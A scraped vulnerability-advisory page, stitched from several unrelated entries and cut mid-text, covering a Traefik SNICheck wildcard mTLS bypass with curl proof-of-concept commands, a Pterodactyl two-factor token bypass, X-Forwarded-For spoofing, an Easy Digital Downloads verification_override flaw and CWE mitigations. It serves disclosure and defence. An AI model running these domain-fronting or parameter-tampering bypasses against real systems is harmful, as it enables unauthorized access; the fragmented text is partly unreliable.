  • Affected versions: <= 2026.3.24
  • First patched version: 2026.3.25
  • Latest published npm version at verification time: 2026.3.24

Details

Google Chat group authorization previously relied on mutable space display names, which allowed policy rebinding when names changed or collided. Commit 11ea1f67863d88b6cbcb229dd368a45e07094bff requires stable group IDs for access decisions.

Summary
Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass
Details

Summary

There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary Traefik's `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host("*.example.com")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend. This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header. For HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik's HTTP request handling. ### Details For the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not. The router build records TLS option names for host rules:
domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)
// ...
tlsOptionsForHost[domain] = tlsOptionsName
The HTTPS forwarder then installs SNI routes:
rule := fmt.Sprintf(`HostSNI(%q)`, sniHost)
`HostSNI` matching is wildcard-aware:
return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)
But `pkg/middlewares/snicheck/snicheck.go` resolves the host's TLS option name with exact lookups only:
func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    name := findTLSOptName(tlsOptionsForHost, host, fqdn)
    if name != "" {
        return name
    }

    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)
    if name != "" {
        return name
    }

    return traefiktls.DefaultTLSConfigName
}

func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    if tlsOptions, ok := tlsOptionsForHost[host]; ok {
        return tlsOptions
    }

    if !fqdn {
        return ""
    }

    if last := len(host) - 1; last >= 0 && host[last] == '.' {
        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {
            return tlsOptions
        }

        return ""
    }

    if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok {
        return tlsOptions
    }

    return ""
}
There is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`. Preconditions: - A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`. - The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate. - The client can send an HTTP `Host` header different from the TLS SNI. Relationship to my previous HTTP/3 report: I previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup. This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend. Relationship to public issue #12349: This is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:
TLS options difference: SNI:https-ext@file, Header:default
The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy. Related wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained. Minimal dynamic configuration:

  https://public.example.net:8443/
Observed result:
HTTP/2 200
Name: PUBLIC
Host: public.example.net:8443
Control 2: direct access to the wildcard-protected host without a client certificate is blocked:
curl --noproxy '*' --http2 -skv \
  --resolve api.example.com:8443:127.0.0.1 \
  https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:
curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'
Observed result:
HTTP/2 200
Name: PROTECTED
Host: api.example.com
The curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:
* [HTTP/2] [1] [:authority: api.example.com]
> Host: api.example.com
Expected result:
HTTP/2 421
Misdirected Request
Traefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route's `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions. Negative control with exact host: Replacing the protected router rule with exact `Host("api.example.com")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:
http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls
Run the same request:
curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'
Observed result:
HTTP/2 421
Misdirected Request
This shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check. Regression test used during validation:
go test ./pkg/middlewares/snicheck \
  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \
  -count=1
Version matrix observed with Docker images:
v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup
v3.7.0: affected
v3.7.1: affected
### Impact Deployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint. The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route. A possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only. Possible workarounds until a fix is available: - Avoid wildcard router `TLSOptions` for mTLS access control. - Enumerate exact protected hostnames instead of using wildcard `Host` rules. - Enforce mTLS in the default TLS options as well. - Avoid mixing permissive and mTLS-protected hosts on the same entrypoint. - Block or reject domain-fronted requests at another layer.

  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s domain-fronting protection (`SNICheck`) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router `TLSOptions`. When a router uses a wildcard host rule such as `Host(`*.example.com`)` with stricter TLS options (for example `RequireAndVerifyClientCert`), `SNICheck` resolves the TLS options for the HTTP `Host` header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP `Host` header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host(\"*.example.com\")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend.\n\nThis issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header.\n\nFor HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik\u0027s HTTP request handling.\n\n### Details\n\nFor the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not.\n\nThe router build records TLS option names for host rules:\n\n```go\ndomains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)\n// ...\ntlsOptionsForHost[domain] = tlsOptionsName\n```\n\nThe HTTPS forwarder then installs SNI routes:\n\n```go\nrule := fmt.Sprintf(`HostSNI(%q)`, sniHost)\n```\n\n`HostSNI` matching is wildcard-aware:\n\n```go\nreturn muxer.DomainMatchHostExpression(meta.serverName, hostExpr)\n```\n\nBut `pkg/middlewares/snicheck/snicheck.go` resolves the host\u0027s TLS option name with exact lookups only:\n\n```go\nfunc findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    name := findTLSOptName(tlsOptionsForHost, host, fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    return traefiktls.DefaultTLSConfigName\n}\n\nfunc findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    if tlsOptions, ok := tlsOptionsForHost[host]; ok {\n        return tlsOptions\n    }\n\n    if !fqdn {\n        return \"\"\n    }\n\n    if last := len(host) - 1; last \u003e= 0 \u0026\u0026 host[last] == \u0027.\u0027 {\n        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {\n            return tlsOptions\n        }\n\n        return \"\"\n    }\n\n    if tlsOptions, ok := tlsOptionsForHost[host+\".\"]; ok {\n        return tlsOptions\n    }\n\n    return \"\"\n}\n```\n\nThere is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`.\n\nPreconditions:\n\n- A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`.\n- The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`.\n- Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.\n- The client can send an HTTP `Host` header different from the TLS SNI.\n\nRelationship to my previous HTTP/3 report:\n\nI previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup.\n\nThis report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend.\n\nRelationship to public issue #12349:\n\nThis is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:\n\n```text\nTLS options difference: SNI:https-ext@file, Header:default\n```\n\nThe public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route\u0027s mTLS policy.\n\nRelated wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.\n\nMinimal dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n    public:\n      rule: Host(`public.example.net`)\n      service: public\n      tls: {}\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          -

Vulnerability from github – Published: 2021-10-04 20:14 – Updated: 2022-08-15 20:12
VLAI
Summary
Pterodactyl Panel vulnerable to authentication bypass due to improper user-provided security token verification
Details

A malicious user can modify the contents of a confirmation_token input during the two-factor authentication process to reference a cache value not associated with the login attempt. In rare cases this can allow a malicious actor to authenticate as a random user in the Panel. The malicious user must target an account with two-factor authentication enabled, and then must provide a correct two-factor authentication token before being authenticated as that user.

Impact

Due to a validation flaw in the logic handling user authentication during the two-factor authentication process a malicious user can trick the system into loading credentials for an arbitrary user by modifying the token sent to the server. This authentication flaw is present in the LoginCheckpointController@__invoke method which handles two-factor authentication for a user.

This controller looks for a request input parameter called confirmation_token which is expected to be a 64 character random alpha-numeric string that references a value within the Panel's cache containing a user_id value. This value is then used to fetch the user that attempted to login, and lookup their two-factor authentication token. Due to the design of this system, any element in the cache that contains only digits could be referenced by a malicious user, and whatever value is stored at that position would be used as the user_id.

There are a few different areas of the Panel that store values into the cache that are integers, and a user who determines what those cache keys are could pass one of those keys which would cause this code pathway to reference an arbitrary user.

Scope

At its heart this is a high-risk login bypass vulnerability. However, there are a few additional conditions that must be met in order for this to be successfully executed, notably:

1.) The account referenced by the malicious cache key must have two-factor authentication enabled. An account without two-factor authentication would cause an exception to be triggered by the authentication logic, thusly exiting this authentication flow. 2.) Even if the malicious user is able to reference a valid cache key that references a valid user account with two-factor authentication, they must provide a valid two-factor authentication token.

However, due to the design of this endpoint once a valid user account is found with two-factor authentication enabled there is no rate-limiting present, thusly allowing an attacker to brute force combinations until successful. This leads to a third condition that must be met:

3.) For the duration of this attack sequence the cache key being referenced must continue to exist with a valid user_id value. Depending on the specific key being used for this attack, this value may disappear quickly, or be changed by other random user interactions on the Panel, outside the control of the attacker.

About the Severity

As you may have noticed, this is not a trivial authentication bypass bug to exploit, and is likely incredibly difficult for a layperson to pull off. However, the severity of this disclosure has been prepared based on the nature of the bug and the potential for unexpected administrative account access under very rare conditions.

Mitigation

In order to mitigate this vulnerability the underlying authentication logic was changed to use an encrypted session store that the user is therefore unable to control the value of. This completely removed the use of a user-controlled value being used. In addition, the code was audited to ensure this type of vulnerability is not present elsewhere.

  "details": "A malicious user can modify the contents of a `confirmation_token` input during the two-factor authentication process to reference a cache value not associated with the login attempt. In rare cases this can allow a malicious actor to authenticate as a random user in the Panel. The malicious user must target an account with two-factor authentication enabled, and then must provide a correct two-factor authentication token before being authenticated as that user.\n\n## Impact\nDue to a validation flaw in the logic handling user authentication during the two-factor authentication process a malicious user can trick the system into loading credentials for an arbitrary user by modifying the token sent to the server. This authentication flaw is present in the `LoginCheckpointController@__invoke` method which handles two-factor authentication for a user.\n\nThis controller looks for a request input parameter called `confirmation_token` which is expected to be a 64 character random alpha-numeric string that references a value within the Panel\u0027s cache containing a `user_id` value. This value is then used to fetch the user that attempted to login, and lookup their two-factor authentication token. Due to the design of this system, any element in the cache that contains only digits could be referenced by a malicious user, and whatever value is stored at that position would be used as the `user_id`.\n\nThere are a few different areas of the Panel that store values into the cache that are integers, and a user who determines what those cache keys are could pass one of those keys which would cause this code pathway to reference an arbitrary user.\n\n## Scope\nAt its heart this is a high-risk login bypass vulnerability. However, there are a few additional conditions that must be met in order for this to be successfully executed, notably:\n\n1.) The account referenced by the malicious cache key **must** have two-factor authentication enabled. An account without two-factor authentication would cause an exception to be triggered by the authentication logic, thusly exiting this authentication flow.\n2.) Even if the malicious user is able to reference a valid cache key that references a valid user account with two-factor authentication, they **must** provide a valid two-factor authentication token.\n\nHowever, due to the design of this endpoint once a valid user account is found with two-factor authentication enabled there is no rate-limiting present, thusly allowing an attacker to brute force combinations until successful. This leads to a third condition that must be met:\n\n3.) For the duration of this attack sequence the cache key being referenced must continue to exist with a valid `user_id` value. Depending on the specific key being used for this attack, this value may disappear quickly, or be changed by other random user interactions on the Panel, outside the control of the attacker.\n\n### About the Severity\nAs you may have noticed, this is not a trivial authentication bypass bug to exploit, and is likely incredibly difficult for a layperson to pull off. However, the severity of this disclosure has been prepared based on the nature of the bug and the potential for unexpected administrative account access under very rare conditions.\n\n## Mitigation\nIn order to mitigate this vulnerability the underlying authentication logic was changed to use an encrypted session store that the user is therefore unable to control the value of. This completely removed the use of a user-controlled value being used. In addition, the code was audited to ensure this type of vulnerability is not present elsewhere.\n\nIf you have any questions or concerns about the content of this disclosure please contact `Tactical Fish#8008` on Discord, or email `dane \u00e4t pterodactyl.io`.",

Mega-Fence (webgate-lib.*) 25.1.914 and prior trusts the first value of the X-Forwarded-For (XFF) header as the client IP without validating a trusted proxy chain. An attacker can supply an arbitrary XFF value in a remote request to spoof the client IP, which is then propagated to security-relevant state (e.g., WG_CLIENT_IP cookie). Deployments that rely on this value for IP allowlists may be bypassed.

Vulnerability from github – Published: 2025-11-06 06:31 – Updated: 2025-11-06 06:31
VLAI
Details

The Easy Digital Downloads plugin for WordPress is vulnerable to Order Manipulation in all versions up to, and including, 3.5.2 due to an order verification bypass. The verification is unconditionally skipped when the POST body includes verification_override=1. Because this value is attacker-supplied, an unauthenticated actor can submit a forged IPN and have it treated as verified, even on production sites and with verification otherwise enabled. A valid PayPal transaction id is needed, restricting order manipulation to orders placed by the attacker. This, in turn, requires them to have a customer account.

Mitigation MIT-14
Architecture and Design

Strategy: Attack Surface Reduction

  • Store state information and sensitive data on the server side only.
  • Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.
  • If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).
Mitigation MIT-4.2
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • With a stateless protocol such as HTTP, use a framework that maintains the state for you.
  • Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45].
  • Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

No CAPEC attack patterns related to this CWE.
